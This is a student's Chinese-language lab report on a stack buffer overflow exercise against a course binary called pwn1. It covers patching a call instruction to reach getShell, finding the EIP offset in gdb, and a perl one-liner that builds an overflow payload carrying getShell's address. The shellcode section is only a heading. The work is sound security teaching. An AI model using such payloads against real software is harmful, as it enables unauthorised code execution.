20155210 实验一 逆向与Bof基础
实验内容
1.直接修改程序机器指令,改变程序执行流程
- 下载目标文件pwn1,反汇编
利用objdump -d pwn1
对pwn1进行反汇编
得到:
80484b5: e8 d7 ff ff ff call 8048491 <foo>
- 是说这条指令将调用位于地址8048491处的foo函数;
其对应机器指令为“e8 d7ffffff”,e8即跳转之意。
本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值。
- main函数调用foo,对应机器指令为“e8 d7ffffff”,那我们想让它调用getShell,只要修改“d7ffffff”为"getShell-80484ba"对应的补码就行。
- 直接 47d-4ba就能得到补码。
- 也可通过对比两个函数所存储的地址,计算“0804847d(getshell)-08048491(foo)+d7”得c3ffffff。
下面我们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。
- 接下来我们用
vi pwn1
打开pwn1
得到:
- 然后利用
%!xxd
将文件转换成16进制显示,利用/e8 d7ff ffff
进行搜索将d7改为c3,利用%!xxd -r
转回之前,再次进行反汇编
得到:
2.通过构造输入参数,造成BOF攻击,改变程序执行流
- 首先我们先要了解函数的作用
== 注意这个函数getShell,我们的目标是触发这个函数 ==
0804847d <getShell>:
804847d: 55 push %ebp
804847e: 89 e5 mov %esp,%ebp
8048480: 83 ec 18 sub $0x18,%esp
8048483: c7 04 24 60 85 04 08 movl $0x8048560,(%esp)
804848a: e8 c1 fe ff ff call 8048350 <[email protected]>
804848f: c9 leave
8048490: c3 ret
== 该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞 ==
08048491 <foo>:
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 38 sub $0x38,%esp
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax
804849a: 89 04 24 mov %eax,(%esp)
== 这里读入字符串,但系统只预留了__字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址 ==
804849d: e8 8e fe ff ff call 8048330 <[email protected]>
80484a2: 8d 45 e4 lea -0x1c(%ebp),%eax
80484a5: 89 04 24 mov %eax,(%esp)
80484a8: e8 93 fe ff ff call 8048340 <[email protected]>
80484ad: c9 leave
80484ae: c3 ret 080484af <main>:
80484af: 55 push %ebp
80484b0: 89 e5 mov %esp,%ebp
80484b2: 83 e4 f0 and $0xfffffff0,%esp
80484b5: e8 d7 ff ff ff call 8048491 <foo>
==上面的call调用foo,同时在堆栈上压上返回地址值:__________==
80484ba: b8 00 00 00 00 mov $0x0,%eax
80484bf: c9 leave
80484c0: c3 ret
80484c1: 66 90 xchg %ax,%ax
80484c3: 66 90 xchg %ax,%ax
80484c5: 66 90 xchg %ax,%ax
80484c7: 66 90 xchg %ax,%ax
80484c9: 66 90 xchg %ax,%ax
80484cb: 66 90 xchg %ax,%ax
80484cd: 66 90 xchg %ax,%ax
80484cf: 90 nop
- 接下来我们要进行尝试如果溢出,eip储存的是哪4位数
- 首先
gdb pwn1
,让后r,输入1111111122222222333333334444444455555555,然后输入info r
得到:
- 发现eip为35353535,5的ascii为35,所以再重新运行,输入11111111222222223333333344444444++12345678++(下划线处可换为学号)
得到:
- eip为34333231,所以即可编辑输入为
perl -e ‘print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"‘ > input
,可用xxd input
查看input,随后运行pwn1
得到:
3.注入Shellcode并执行
原文地址:https://www.cnblogs.com/panyinghao/p/8552280.html
时间: 2024-10-09 10:45:33